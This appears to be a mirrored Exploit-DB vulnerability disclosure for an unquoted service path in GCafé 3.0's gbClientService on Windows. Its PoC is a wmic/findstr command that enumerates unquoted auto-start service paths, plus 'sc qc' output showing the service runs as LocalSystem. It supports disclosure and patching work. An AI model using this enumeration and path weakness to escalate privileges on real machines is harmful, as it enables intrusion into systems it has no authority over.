_GCafé 3.0 - 'gbClienService' Unquoted Service Path

vendor:

GCafé 3.0

by:

Doan Nguyen (4ll4u)

5.5

CVSS

MEDIUM

Unquoted Service Path

428

CWE

Product Name: GCafé 3.0

Affected Version From: 3

Affected Version To: 3

Patch Exists: NO

Related CWE:

CPE: a:gcafe:gc3

Metasploit:

Other Scripts:

Platforms Tested: Windows 7, Windows 10, Windows XP

2019

_GCafé 3.0 – ‘gbClienService’ Unquoted Service Path

The gbClienService service in GCafé 3.0 has an unquoted service path vulnerability, which could allow an attacker to escalate privileges on Windows systems.

Mitigation:

The vendor should release a patched version of the software where the service path is quoted correctly. Users should update to the latest version of GCafé 3.0 or apply the vendor-supplied patch.

Source

Exploit-DB raw data:

# Exploit Title: _GCafé 3.0  - 'gbClienService' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-11-09
# Exploit Author: Doan Nguyen (4ll4u)
# Vendor Homepage: https://gcafe.vn/
# Software Link:  https://gcafe.vn/post/view?slug=gcafe-3.0
# Version: v3.0
# Tested on: Windows 7, Win 10, WinXP
# CVE : N/A  
# Description:
# GCafé 3.0 - Internet Cafe is a software that supports the management of public Internet access points

# PoC:

# wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
gbClientService		gbClientService		C:\Program Files\GBillingClient\gbClientService.exe		Auto
#C:\>sc qc gbClientService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: gbClientService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\GBillingClient\gbClientService.exe
        LOAD_ORDER_GROUP   : GarenaGroup
        TAG                : 0
        DISPLAY_NAME       : gbClientService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>